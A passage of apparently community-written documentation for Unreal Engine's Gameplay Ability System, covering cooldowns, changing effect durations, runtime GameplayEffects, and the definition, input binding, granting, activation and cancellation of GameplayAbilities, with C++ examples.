Then override `UGameplayAbility::GetCooldownTags()` to return the union of our `Cooldown Tags` and any existing `Cooldown GE's` tags.
```c++
const FGameplayTagContainer * UPGGameplayAbility::GetCooldownTags() const
{
FGameplayTagContainer* MutableTags = const_cast<FGameplayTagContainer*>(&TempCooldownTags);
MutableTags->Reset(); // MutableTags writes to the TempCooldownTags on the CDO so clear it in case the ability cooldown tags change (moved to a different slot)
const FGameplayTagContainer* ParentTags = Super::GetCooldownTags();
if (ParentTags)
{
MutableTags->AppendTags(*ParentTags);
}
MutableTags->AppendTags(CooldownTags);
return MutableTags;
}
```
Finally, override `UGameplayAbility::ApplyCooldown()` to inject our `Cooldown Tags` and to add the `SetByCaller` to the cooldown `GameplayEffectSpec`.
```c++
void UPGGameplayAbility::ApplyCooldown(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo) const
{
UGameplayEffect* CooldownGE = GetCooldownGameplayEffect();
if (CooldownGE)
{
FGameplayEffectSpecHandle SpecHandle = MakeOutgoingGameplayEffectSpec(CooldownGE->GetClass(), GetAbilityLevel());
SpecHandle.Data.Get()->DynamicGrantedTags.AppendTags(CooldownTags);
SpecHandle.Data.Get()->SetSetByCallerMagnitude(FGameplayTag::RequestGameplayTag(FName( OurSetByCallerTag )), CooldownDuration.GetValueAtLevel(GetAbilityLevel()));
ApplyGameplayEffectSpecToOwner(Handle, ActorInfo, ActivationInfo, SpecHandle);
}
}
```
In this picture, the cooldown's duration `Modifier` is set to `SetByCaller` with a `Data Tag` of `Data.Cooldown`. `Data.Cooldown` would be `OurSetByCallerTag` in the code above.

2. **Use an [`MMC`](#concepts-ge-mmc).** This has the same setup as above except for setting the `SetByCaller` as the duration on the `Cooldown GE` and in `ApplyCooldown`. Instead, set the duration to be a `Custom Calculation Class` and point to the new `MMC` that we will make.
```c++
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Cooldown")
FScalableFloat CooldownDuration;
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Cooldown")
FGameplayTagContainer CooldownTags;
// Temp container that we will return the pointer to in GetCooldownTags().
// This will be a union of our CooldownTags and the Cooldown GE's cooldown tags.
UPROPERTY(Transient)
FGameplayTagContainer TempCooldownTags;
```
Then override `UGameplayAbility::GetCooldownTags()` to return the union of our `Cooldown Tags` and any existing `Cooldown GE's` tags.
```c++
const FGameplayTagContainer * UPGGameplayAbility::GetCooldownTags() const
{
FGameplayTagContainer* MutableTags = const_cast<FGameplayTagContainer*>(&TempCooldownTags);
MutableTags->Reset(); // MutableTags writes to the TempCooldownTags on the CDO so clear it in case the ability cooldown tags change (moved to a different slot)
const FGameplayTagContainer* ParentTags = Super::GetCooldownTags();
if (ParentTags)
{
MutableTags->AppendTags(*ParentTags);
}
MutableTags->AppendTags(CooldownTags);
return MutableTags;
}
```
Finally, override `UGameplayAbility::ApplyCooldown()` to inject our `Cooldown Tags` into the cooldown `GameplayEffectSpec`.
```c++
void UPGGameplayAbility::ApplyCooldown(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo) const
{
UGameplayEffect* CooldownGE = GetCooldownGameplayEffect();
if (CooldownGE)
{
FGameplayEffectSpecHandle SpecHandle = MakeOutgoingGameplayEffectSpec(CooldownGE->GetClass(), GetAbilityLevel());
SpecHandle.Data.Get()->DynamicGrantedTags.AppendTags(CooldownTags);
ApplyGameplayEffectSpecToOwner(Handle, ActorInfo, ActivationInfo, SpecHandle);
}
}
```
```c++
float UPGMMC_HeroAbilityCooldown::CalculateBaseMagnitude_Implementation(const FGameplayEffectSpec & Spec) const
{
const UPGGameplayAbility* Ability = Cast<UPGGameplayAbility>(Spec.GetContext().GetAbilityInstance_NotReplicated());
if (!Ability)
{
return 0.0f;
}
return Ability->CooldownDuration.GetValueAtLevel(Ability->GetAbilityLevel());
}
```

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-cooldown-tr"></a>
##### 4.5.15.1 Get the Cooldown Gameplay Effect's Remaining Time
```c++
bool APGPlayerState::GetCooldownRemainingForTag(FGameplayTagContainer CooldownTags, float & TimeRemaining, float & CooldownDuration)
{
if (AbilitySystemComponent && CooldownTags.Num() > 0)
{
TimeRemaining = 0.f;
CooldownDuration = 0.f;
FGameplayEffectQuery const Query = FGameplayEffectQuery::MakeQuery_MatchAnyOwningTags(CooldownTags);
TArray< TPair<float, float> > DurationAndTimeRemaining = AbilitySystemComponent->GetActiveEffectsTimeRemainingAndDuration(Query);
if (DurationAndTimeRemaining.Num() > 0)
{
int32 BestIdx = 0;
float LongestTime = DurationAndTimeRemaining[0].Key;
for (int32 Idx = 1; Idx < DurationAndTimeRemaining.Num(); ++Idx)
{
if (DurationAndTimeRemaining[Idx].Key > LongestTime)
{
LongestTime = DurationAndTimeRemaining[Idx].Key;
BestIdx = Idx;
}
}
TimeRemaining = DurationAndTimeRemaining[BestIdx].Key;
CooldownDuration = DurationAndTimeRemaining[BestIdx].Value;
return true;
}
}
return false;
}
```
**Note:** Querying the cooldown's time remaining on clients requires that they can receive replicated `GameplayEffects`. This will depend on their `ASC's` [replication mode](#concepts-asc-rm).
<a name="concepts-ge-cooldown-listen"></a>
##### 172.16.31.10 Listening for Cooldown Begin and End
To listen for when a cooldown begins, you can either respond to when the `Cooldown GE` is applied by binding to `AbilitySystemComponent->OnActiveGameplayEffectAddedDelegateToSelf` or when the `Cooldown Tag` is added by binding to `AbilitySystemComponent->RegisterGameplayTagEvent(CooldownTag, EGameplayTagEventType::NewOrRemoved)`. I recommend listening for when the `Cooldown GE` is added because you also have access to the `GameplayEffectSpec` that applied it. From this you can determine if the `Cooldown GE` is the locally predicted one or the Server's correcting one.
To listen for when a cooldown ends, you can either respond to when the `Cooldown GE` is removed by binding to `AbilitySystemComponent->OnAnyGameplayEffectRemovedDelegate()` or when the `Cooldown Tag` is removed by binding to `AbilitySystemComponent->RegisterGameplayTagEvent(CooldownTag, EGameplayTagEventType::NewOrRemoved)`. I recommend listening for when the `Cooldown Tag` is removed because when the Server's corrected `Cooldown GE` comes in, it will remove our locally predicted one causing the `OnAnyGameplayEffectRemovedDelegate()` to fire even though we're still on cooldown. The `Cooldown Tag` will not change during the removal of the predicted `Cooldown GE` and the application of the Server's corrected `Cooldown GE`.
**Note:** Listening for a `GameplayEffect` to be added or removed on clients requires that they can receive replicated `GameplayEffects`. This will depend on their `ASC's` [replication mode](#concepts-asc-rm).
The Sample Project includes a custom Blueprint node that listens for cooldowns beginning and ending. The HUD UMG Widget uses it to update the amount of time remaining on the Meteor's cooldown. This `AsyncTask` will live forever until manually called `EndTask()`, which we do in the UMG Widget's `Destruct` event. See [`AsyncTaskCooldownChanged.h/cpp`](Source/GASDocumentation/Private/Characters/Abilities/AsyncTaskCooldownChanged.cpp).

<a name="concepts-ge-cooldown-prediction"></a>
##### 192.168.3.11 Predicting Cooldowns
Cooldowns cannot really be predicted currently. We can start UI cooldown timer's when the locally predicted `Cooldown GE` is applied but the `GameplayAbility's` actual cooldown is tied to the server's cooldown's time remaining. Depending on the player's latency, the locally predicted cooldown could expire but the `GameplayAbility` would still be on cooldown on the server and this would prevent the `GameplayAbility's` immediate re-activation until the server's cooldown expires.
The Sample Project handles this by graying out the Meteor ability's UI icon when the locally predicted cooldown begins and then starting the cooldown timer once the server's corrected `Cooldown GE` comes in.
A gameplay consequence of this is that players with high latencies have a lower rate of fire on short cooldown abilities than players with lower latencies putting them at a disadvantage. Fortnite avoids this by their weapons having custom bookkeeping that do not use cooldown `GameplayEffects`.
Allowing for true predicted cooldowns (player could activate a `GameplayAbility` when the local cooldown expires but the server is still on cooldown) is something that Epic would like to implement someday in a [future iteration of GAS](#concepts-p-future).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-duration"></a>
#### 4.5.16 Changing Active Gameplay Effect Duration
To change the time remaining for a `Cooldown GE` or any `Duration` `GameplayEffect`, we need to change the `GameplayEffectSpec's` `Duration`, update its `StartServerWorldTime`, update its `CachedStartServerWorldTime`, update its `StartWorldTime`, and rerun the check on the duration with `CheckDuration()`. Doing this on the server and marking the `FActiveGameplayEffect` dirty will replicate the changes to clients.
**Note:** This does involve a `const_cast` and may not be Epic's intended way of changing durations, but it seems to work well so far.
```c++
bool UPAAbilitySystemComponent::SetGameplayEffectDurationHandle(FActiveGameplayEffectHandle Handle, float NewDuration)
{
if (!Handle.IsValid())
{
return false;
}
const FActiveGameplayEffect* ActiveGameplayEffect = GetActiveGameplayEffect(Handle);
if (!ActiveGameplayEffect)
{
return false;
}
FActiveGameplayEffect* AGE = const_cast<FActiveGameplayEffect*>(ActiveGameplayEffect);
if (NewDuration > 0)
{
AGE->Spec.Duration = NewDuration;
}
else
{
AGE->Spec.Duration = 0.01f;
}
AGE->StartServerWorldTime = ActiveGameplayEffects.GetServerWorldTime();
AGE->CachedStartServerWorldTime = AGE->StartServerWorldTime;
AGE->StartWorldTime = ActiveGameplayEffects.GetWorldTime();
ActiveGameplayEffects.MarkItemDirty(*AGE);
ActiveGameplayEffects.CheckDuration(Handle);
AGE->EventSet.OnTimeChanged.Broadcast(AGE->Handle, AGE->StartWorldTime, AGE->GetDuration());
OnGameplayEffectDurationChange(*AGE);
return true;
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-dynamic"></a>
#### 4.5.17 Creating Dynamic Gameplay Effects at Runtime
Creating Dynamic `GameplayEffects` at runtime is an advanced topic. You shouldn't have to do this too often.
Only `Instant` `GameplayEffects` can be created at runtime from scratch in C++. `Duration` and `Infinite` `GameplayEffects` cannot be created dynamically at runtime because when they replicate they look for the `GameplayEffect` class definition that does not exist. To achieve this functionality, you should instead make an archetype `GameplayEffect` class like you would normally do in the Editor. Then customize the `GameplayEffectSpec` instance with what you need at runtime.
`Instant` `GameplayEffects` created at runtime can also be called from within a [local predicted](#concepts-p) `GameplayAbility`. However, it is unknown yet if the dynamic creation can have side effects.
##### Examples
The Sample Project creates one to send the gold and experience points back to the killer of a character when it takes the killing blow in its `AttributeSet`.
```c++
// Create a dynamic instant Gameplay Effect to give the bounties
UGameplayEffect* GEBounty = NewObject<UGameplayEffect>(GetTransientPackage(), FName(TEXT("Bounty")));
GEBounty->DurationPolicy = EGameplayEffectDurationType::Instant;
int32 Idx = GEBounty->Modifiers.Num();
GEBounty->Modifiers.SetNum(Idx + 2);
FGameplayModifierInfo& InfoXP = GEBounty->Modifiers[Idx];
InfoXP.ModifierMagnitude = FScalableFloat(GetXPBounty());
InfoXP.ModifierOp = EGameplayModOp::Additive;
InfoXP.Attribute = UGDAttributeSetBase::GetXPAttribute();
FGameplayModifierInfo& InfoGold = GEBounty->Modifiers[Idx + 1];
InfoGold.ModifierMagnitude = FScalableFloat(GetGoldBounty());
InfoGold.ModifierOp = EGameplayModOp::Additive;
InfoGold.Attribute = UGDAttributeSetBase::GetGoldAttribute();
Source->ApplyGameplayEffectToSelf(GEBounty, 1.0f, Source->MakeEffectContext());
```
A second example shows a runtime `GameplayEffect` created within a local predicted `GameplayAbility`. Use at your own risk (see comments in code)!
```c++
UGameplayAbilityRuntimeGE::UGameplayAbilityRuntimeGE()
{
NetExecutionPolicy = EGameplayAbilityNetExecutionPolicy::LocalPredicted;
}
void UGameplayAbilityRuntimeGE::ActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, const FGameplayEventData* TriggerEventData)
{
if (HasAuthorityOrPredictionKey(ActorInfo, &ActivationInfo))
{
if (!CommitAbility(Handle, ActorInfo, ActivationInfo))
{
EndAbility(Handle, ActorInfo, ActivationInfo, true, true);
}
// Create the GE at runtime.
UGameplayEffect* GameplayEffect = NewObject<UGameplayEffect>(GetTransientPackage(), TEXT("RuntimeInstantGE"));
GameplayEffect->DurationPolicy = EGameplayEffectDurationType::Instant; // Only instant works with runtime GE.
// Add a simple scalable float modifier, which overrides MyAttribute with 42.
// In real world applications, consume information passed via TriggerEventData.
const int32 Idx = GameplayEffect->Modifiers.Num();
GameplayEffect->Modifiers.SetNum(Idx + 1);
FGameplayModifierInfo& ModifierInfo = GameplayEffect->Modifiers[Idx];
ModifierInfo.Attribute.SetUProperty(UMyAttributeSet::GetMyModifiedAttribute());
ModifierInfo.ModifierMagnitude = FScalableFloat(42.f);
ModifierInfo.ModifierOp = EGameplayModOp::Override;
// Apply the GE.
// Create the GESpec here to avoid the behavior of ASC to create GESpecs from the GE class default object.
// Since we have a dynamic GE here, this would create a GESpec with the base GameplayEffect class, so we
// would lose our modifiers. Attention: It is unknown, if this "hack" done here can have drawbacks!
// The spec prevents the GE object being collected by the GarbageCollector, since the GE is a UPROPERTY on the spec.
FGameplayEffectSpec* GESpec = new FGameplayEffectSpec(GameplayEffect, {}, 0.f); // "new", since lifetime is managed by a shared ptr within the handle
ApplyGameplayEffectSpecToOwner(Handle, ActorInfo, ActivationInfo, FGameplayEffectSpecHandle(GESpec));
}
EndAbility(Handle, ActorInfo, ActivationInfo, false, false);
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-containers"></a>
#### 4.5.18 Gameplay Effect Containers
Epic's [Action RPG Sample Project](https://www.unrealengine.com/marketplace/en-US/product/action-rpg) implements a structure called `FGameplayEffectContainer`. These are not in vanilla GAS but are extremely handy for containing `GameplayEffects` and [`TargetData`](#concepts-targeting-data). It automates some of the effort like creating `GameplayEffectSpecs` from `GameplayEffects` and setting default values in its `GameplayEffectContext`. Making a `GameplayEffectContainer` in a `GameplayAbility` and passing it to spawned projectiles is very easy and straightforward. I opted not to implement the `GameplayEffectContainers` in the included Sample Project to show how you would work without them in vanilla GAS, but I highly recommend looking into them and considering adding them to your project.
To access the `GESpecs` inside of the `GameplayEffectContainers` to do things like adding `SetByCallers`, break the `FGameplayEffectContainer` and access the `GESpec` reference by its index in the array of `GESpecs`. This requires that you know the index ahead of time of the `GESpec` that you want to access.

`GameplayEffectContainers` also contain an optional efficient means of [targeting](#concepts-targeting-containers).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga"></a>
### 4.6 Gameplay Abilities
<a name="concepts-ga-definition"></a>
#### 4.6.1 Gameplay Ability Definition
[`GameplayAbilities`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/UGameplayAbility/index.html) (`GA`) are any actions or skills that an `Actor` can do in the game. More than one `GameplayAbility` can be active at one time for example sprinting and shooting a gun. These can be made in Blueprint or C++.
Examples of `GameplayAbilities`:
* Jumping
* Sprinting
* Shooting a gun
* Passively blocking an attack every X number of seconds
* Using a potion
* Opening a door
* Collecting a resource
* Constructing a building
Things that should not be implemented with `GameplayAbilities`:
* Basic movement input
* Some interactions with UIs - Don't use a `GameplayAbility` to purchase an item from a store.
These are not rules, just my recommendations. Your design and implementations may vary.
`GameplayAbilities` come with default functionality to have a level to modify the amount of change to attributes or to change the `GameplayAbility's` functionality.
`GameplayAbilities` run on the owning client and/or the server depending on the [`Net Execution Policy`](#concepts-ga-net) but not simulated proxies. The `Net Execution Policy` determines if a `GameplayAbility` will be locally [predicted](#concepts-p). They include default behavior for [optional cost and cooldown `GameplayEffects`](#concepts-ga-commit). `GameplayAbilities` use [`AbilityTasks`](#concepts-at) for actions that happen over time like waiting for an event, waiting for an attribute change, waiting for players to choose a target, or moving a `Character` with `Root Motion Source`. **Simulated clients will not run `GameplayAbilities`**. Instead, when the server runs the ability, anything that visually needs to play on the simulated proxies (like animation montages) will be replicated or RPC'd through `AbilityTasks` or [`GameplayCues`](#concepts-gc) for cosmetic things like sounds and particles.
All `GameplayAbilities` will have their `ActivateAbility()` function overriden with your gameplay logic. Additional logic can be added to `EndAbility()` that runs when the `GameplayAbility` completes or is canceled.
Flowchart of a simple `GameplayAbility`:

Flowchart of a more complex `GameplayAbility`:

Complex abilities can be implemented using multiple `GameplayAbilities` that interact (activate, cancel, etc) with each other.
<a name="concepts-ga-definition-reppolicy"></a>
##### 4.6.1.1 Replication Policy
Don't use this option. The name is misleading and you don't need it. [`GameplayAbilitySpecs`](#concepts-ga-spec) are replicated from the server to the owning client by default. As mentioned above, **`GameplayAbilities` don't run on simulated proxies**. They use `AbilityTasks` and `GameplayCues` to replicate or RPC visual changes to the simulated proxies. <NAME> from Epic has stated his desire to [remove this option in the future](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89).
<a name="concepts-ga-definition-remotecancel"></a>
##### 4.6.1.2 Server Respects Remote Ability Cancellation
This option causes trouble more often than not. It means if the client's `GameplayAbility` ends either due to cancellation or natural completion, it will force the server's version to end whether it completed or not. The latter issue is the important one, especially for locally predicted `GameplayAbilities` used by players with high latencies. Generally you will want to disable this option.
<a name="concepts-ga-definition-repinputdirectly"></a>
##### 4.6.1.3 Replicate Input Directly
Setting this option will always replicate input press and release events to the server. Epic recommends not using this and instead relying on the `Generic Replicated Events` that are built into the existing input related [`AbilityTasks`](#concepts-at) if you have your [input bound to your `ASC`](#concepts-ga-input).
Epic's comment:
```c++
/** Direct Input state replication. These will be called if bReplicateInputDirectly is true on the ability and is generally not a good thing to use. (Instead, prefer to use Generic Replicated Events). */
UAbilitySystemComponent::ServerSetInputPressed()
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-input"></a>
#### 4.6.2 Binding Input to the ASC
The `ASC` allows you to directly bind input actions to it and assign those inputs to `GameplayAbilities` when you grant them. Input actions assigned to `GameplayAbilities` automatically activate those `GameplayAbilities` when pressed if the `GameplayTag` requirements are met. Assigned input actions are required to use the built-in `AbilityTasks` that respond to input.
In addition to input actions assigned to activate `GameplayAbilities`, the `ASC` also accepts generic `Confirm` and `Cancel` inputs. These special inputs are used by `AbilityTasks` for confirming things like [`Target Actors`](#concepts-targeting-actors) or canceling them.
To bind input to an `ASC`, you must first create an enum that translates the input action name to a byte. The enum name must match exactly to the name used for the input action in the project settings. The `DisplayName` does not matter.
From the Sample Project:
```c++
UENUM(BlueprintType)
enum class EGDAbilityInputID : uint8
{
// 0 None
None UMETA(DisplayName = "None"),
// 1 Confirm
Confirm UMETA(DisplayName = "Confirm"),
// 2 Cancel
Cancel UMETA(DisplayName = "Cancel"),
// 3 LMB
Ability1 UMETA(DisplayName = "Ability1"),
// 4 RMB
Ability2 UMETA(DisplayName = "Ability2"),
// 5 Q
Ability3 UMETA(DisplayName = "Ability3"),
// 6 E
Ability4 UMETA(DisplayName = "Ability4"),
// 7 R
Ability5 UMETA(DisplayName = "Ability5"),
// 8 Sprint
Sprint UMETA(DisplayName = "Sprint"),
// 9 Jump
Jump UMETA(DisplayName = "Jump")
};
```
If your `ASC` lives on the `Character`, then in `SetupPlayerInputComponent()` include the function for binding to the `ASC`:
```c++
// Bind to AbilitySystemComponent
FTopLevelAssetPath AbilityEnumAssetPath = FTopLevelAssetPath(FName("/Script/GASDocumentation"), FName("EGDAbilityInputID"));
AbilitySystemComponent->BindAbilityActivationToInputComponent(PlayerInputComponent, FGameplayAbilityInputBinds(FString("ConfirmTarget"),
FString("CancelTarget"), AbilityEnumAssetPath, static_cast<int32>(EGDAbilityInputID::Confirm), static_cast<int32>(EGDAbilityInputID::Cancel)));
```
If your `ASC` lives on the `PlayerState`, there is a potential race condition inside of `SetupPlayerInputComponent()` where the `PlayerState` may not have replicated to the client yet. Therefore, I recommend attempting to bind to input in `SetupPlayerInputComponent()` and `OnRep_PlayerState()`. `OnRep_PlayerState()` is not sufficient by itself because there could be a case where the `Actor's` `InputComponent` could be null when `PlayerState` replicates before the `PlayerController` tells the client to call `ClientRestart()` which creates the `InputComponent`. The Sample Project demonstrates attempting to bind in both locations with a boolean gating the process so it only actually binds the input once.
**Note:** In the Sample Project `Confirm` and `Cancel` in the enum don't match the input action names in the project settings (`ConfirmTarget` and `CancelTarget`), but we supply the mapping between them in `BindAbilityActivationToInputComponent()`. These are special since we supply the mapping and they don't have to match, but they can match. All other inputs in the enum must match the input action names in the project settings.
For `GameplayAbilities` that will only ever be activated by one input (they will always exist in the same "slot" like a MOBA), I prefer to add a variable to my `UGameplayAbility` subclass where I can define their input. I can then read this from the `ClassDefaultObject` when granting the ability.
<a name="concepts-ga-input-noactivate"></a>
##### 4.6.2.1 Binding to Input without Activating Abilities
If you don't want your `GameplayAbilities` to automatically activate when an input is pressed but still bind them to input to use with `AbilityTasks`, you can add a new bool variable to your `UGameplayAbility` subclass, `bActivateOnInput`, that defaults to `true` and override `UAbilitySystemComponent::AbilityLocalInputPressed()`.
```c++
void UGSAbilitySystemComponent::AbilityLocalInputPressed(int32 InputID)
{
// Consume the input if this InputID is overloaded with GenericConfirm/Cancel and the GenericConfim/Cancel callback is bound
if (IsGenericConfirmInputBound(InputID))
{
LocalInputConfirm();
return;
}
if (IsGenericCancelInputBound(InputID))
{
LocalInputCancel();
return;
}
// ---------------------------------------------------------
ABILITYLIST_SCOPE_LOCK();
for (FGameplayAbilitySpec& Spec : ActivatableAbilities.Items)
{
if (Spec.InputID == InputID)
{
if (Spec.Ability)
{
Spec.InputPressed = true;
if (Spec.IsActive())
{
if (Spec.Ability->bReplicateInputDirectly && IsOwnerActorAuthoritative() == false)
{
ServerSetInputPressed(Spec.Handle);
}
AbilitySpecInputPressed(Spec);
// Invoke the InputPressed event. This is not replicated here. If someone is listening, they may replicate the InputPressed event to the server.
InvokeReplicatedEvent(EAbilityGenericReplicatedEvent::InputPressed, Spec.Handle, Spec.ActivationInfo.GetActivationPredictionKey());
}
else
{
UGSGameplayAbility* GA = Cast<UGSGameplayAbility>(Spec.Ability);
if (GA && GA->bActivateOnInput)
{
// Ability is not active, so try to activate it
TryActivateAbility(Spec.Handle);
}
}
}
}
}
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-granting"></a>
#### 4.6.3 Granting Abilities
Granting a `GameplayAbility` to an `ASC` adds it to the `ASC's` list of `ActivatableAbilities` allowing it to activate the `GameplayAbility` at will if it meets the [`GameplayTag` requirements](#concepts-ga-tags).
We grant `GameplayAbilities` on the server which then automatically replicates the [`GameplayAbilitySpec`](#concepts-ga-spec) to the owning client. Other clients / simulated proxies do not receive the `GameplayAbilitySpec`.
The Sample Project stores a `TArray<TSubclassOf<UGDGameplayAbility>>` on the `Character` class that it reads from and grants when the game starts:
```c++
void AGDCharacterBase::AddCharacterAbilities()
{
// Grant abilities, but only on the server
if (Role != ROLE_Authority || !AbilitySystemComponent.IsValid() || AbilitySystemComponent->bCharacterAbilitiesGiven)
{
return;
}
for (TSubclassOf<UGDGameplayAbility>& StartupAbility : CharacterAbilities)
{
AbilitySystemComponent->GiveAbility(
FGameplayAbilitySpec(StartupAbility, GetAbilityLevel(StartupAbility.GetDefaultObject()->AbilityID), static_cast<int32>(StartupAbility.GetDefaultObject()->AbilityInputID), this));
}
AbilitySystemComponent->bCharacterAbilitiesGiven = true;
}
```
When granting these `GameplayAbilities`, we're creating `GameplayAbilitySpecs` with the `UGameplayAbility` class, the ability level, the input that it is bound to, and the `SourceObject` or who gave this `GameplayAbility` to this `ASC`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-activating"></a>
#### 4.6.4 Activating Abilities
If a `GameplayAbility` is assigned an input action, it will be automatically activated if the input is pressed and it meets its `GameplayTag` requirements. This may not always be the desirable way to activate a `GameplayAbility`. The `ASC` provides four other methods of activating `GameplayAbilities`: by `GameplayTag`, `GameplayAbility` class, `GameplayAbilitySpec` handle, and by an event. Activating a `GameplayAbility` by event allows you to [pass in a payload of data with the event](#concepts-ga-data).
```c++
UFUNCTION(BlueprintCallable, Category = "Abilities")
bool TryActivateAbilitiesByTag(const FGameplayTagContainer& GameplayTagContainer, bool bAllowRemoteActivation = true);
UFUNCTION(BlueprintCallable, Category = "Abilities")
bool TryActivateAbilityByClass(TSubclassOf<UGameplayAbility> InAbilityToActivate, bool bAllowRemoteActivation = true);
bool TryActivateAbility(FGameplayAbilitySpecHandle AbilityToActivate, bool bAllowRemoteActivation = true);
bool TriggerAbilityFromGameplayEvent(FGameplayAbilitySpecHandle AbilityToTrigger, FGameplayAbilityActorInfo* ActorInfo, FGameplayTag Tag, const FGameplayEventData* Payload, UAbilitySystemComponent& Component);
FGameplayAbilitySpecHandle GiveAbilityAndActivateOnce(const FGameplayAbilitySpec& AbilitySpec, const FGameplayEventData* GameplayEventData);
```
To activate a `GameplayAbility` by event, the `GameplayAbility` must have its `Triggers` set up in the `GameplayAbility`. Assign a `GameplayTag` and pick an option for `GameplayEvent`. To send the event, use the function `UAbilitySystemBlueprintLibrary::SendGameplayEventToActor(AActor* Actor, FGameplayTag EventTag, FGameplayEventData Payload)`. Activating a `GameplayAbility` by event allows you to pass in a payload with data.
`GameplayAbility` `Triggers` also allow you to activate the `GameplayAbility` when a `GameplayTag` is added or removed.
**Note:** When activating a `GameplayAbility` from event in Blueprint, you must use the `ActivateAbilityFromEvent` node and the standard `ActivateAbility` node **cannot exist** in your graph. If the `ActivateAbility` node exists, it will always be called over the `ActivateAbilityFromEvent` node.
**Note:** Don't forget to call `EndAbility()` when the `GameplayAbility` should terminate unless you have a `GameplayAbility` that will always run like a passive ability.
Activation sequence for **locally predicted** `GameplayAbilities`:
1. **Owning client** calls `TryActivateAbility()`
1. Calls `InternalTryActivateAbility()`
1. Calls `CanActivateAbility()` and returns whether `GameplayTag` requirements are met, if the `ASC` can afford the cost, if the `GameplayAbility` is not on cooldown, and if no other instances are currently active
1. Calls `CallServerTryActivateAbility()` and passes it the `Prediction Key` that it generates
1. Calls `CallActivateAbility()`
1. Calls `PreActivate()` Epic refers to this as "boilerplate init stuff"
1. Calls `ActivateAbility()` finally activating the ability
**Server** receives `CallServerTryActivateAbility()`
1. Calls `ServerTryActivateAbility()`
1. Calls `InternalServerTryActivateAbility()`
1. Calls `InternalTryActivateAbility()`
1. Calls `CanActivateAbility()` and returns whether `GameplayTag` requirements are met, if the `ASC` can afford the cost, if the `GameplayAbility` is not on cooldown, and if no other instances are currently active
1. Calls `ClientActivateAbilitySucceed()` if successful telling it to update its `ActivationInfo` that its activation was confirmed by the server and broadcasting the `OnConfirmDelegate` delegate. This is not the same as input confirmation.
1. Calls `CallActivateAbility()`
1. Calls `PreActivate()` Epic refers to this as "boilerplate init stuff"
1. Calls `ActivateAbility()` finally activating the ability
If at any time the server fails to activate, it will call `ClientActivateAbilityFailed()`, immediately terminating the client's `GameplayAbility` and undoing any predicted changes.
<a name="concepts-ga-activating-passive"></a>
##### 4.6.4.1 Passive Abilities
To implement passive `GameplayAbilities` that automatically activate and run continuously, override `UGameplayAbility::OnAvatarSet()` which is automatically called when a `GameplayAbility` is granted and the `AvatarActor` is set and call `TryActivateAbility()`.
I recommend adding a `bool` to your custom `UGameplayAbility` class specifying if the `GameplayAbility` should be activated when granted. The Sample Project does this for its passive armor stacking ability.
Passive `GameplayAbilities` will typically have a [`Net Execution Policy`](#concepts-ga-net) of `Server Only`.
```c++
void UGDGameplayAbility::OnAvatarSet(const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilitySpec & Spec)
{
Super::OnAvatarSet(ActorInfo, Spec);
if (bActivateAbilityOnGranted)
{
ActorInfo->AbilitySystemComponent->TryActivateAbility(Spec.Handle, false);
}
}
```
Epic describes this function as the correct place to initiate passive abilities and to do `BeginPlay` type things.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-activating-failedtags"></a>
##### 4.6.4.2 Activation Failed Tags
Abilities have default logic to tell you why an ability activation failed. To enable this, you must set up the GameplayTags that correspond to the default failure cases.
Add these tags (or your own naming convention) to your project:
```
+GameplayTagList=(Tag="Activation.Fail.BlockedByTags",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.CantAffordCost",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.IsDead",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.MissingTags",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.Networking",DevComment="")
+GameplayTagList=(Tag="Activation.Fail.OnCooldown",DevComment="")
```
Then add them to the [`GASDocumentation\Config\DefaultGame.ini`](https://github.com/tranek/GASDocumentation/blob/master/Config/DefaultGame.ini#L8-L13):
```
[/Script/GameplayAbilities.AbilitySystemGlobals]
ActivateFailIsDeadName=Activation.Fail.IsDead
ActivateFailCooldownName=Activation.Fail.OnCooldown
ActivateFailCostName=Activation.Fail.CantAffordCost
ActivateFailTagsBlockedName=Activation.Fail.BlockedByTags
ActivateFailTagsMissingName=Activation.Fail.MissingTags
ActivateFailNetworkingName=Activation.Fail.Networking
```
Now whenever an ability activation fails, this corresponding GameplayTag will be included in output log messages or visible on the `showdebug AbilitySystem` hud.
```
LogAbilitySystem: Display: InternalServerTryActivateAbility. Rejecting ClientActivation of Default__GA_FireGun_C. InternalTryActivateAbility failed: Activation.Fail.BlockedByTags
LogAbilitySystem: Display: ClientActivateAbilityFailed_Implementation. PredictionKey :109 Ability: Default__GA_FireGun_C
```

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-cancelabilities"></a>
#### 4.6.5 Canceling Abilities
To cancel a `GameplayAbility` from within, you call `CancelAbility()`. This will call `EndAbility()` and set its `WasCancelled` parameter to true.
To cancel a `GameplayAbility` externally, the `ASC` provides a few functions:
```c++
/** Cancels the specified ability CDO. */
void CancelAbility(UGameplayAbility* Ability);
/** Cancels the ability indicated by passed in spec handle. If handle is not found among reactivated abilities nothing happens. */
void CancelAbilityHandle(const FGameplayAbilitySpecHandle& AbilityHandle);
/** Cancel all abilities with the specified tags. Will not cancel the Ignore instance */
void CancelAbilities(const FGameplayTagContainer* WithTags=nullptr, const FGameplayTagContainer* WithoutTags=nullptr, UGameplayAbility* Ignore=nullptr);
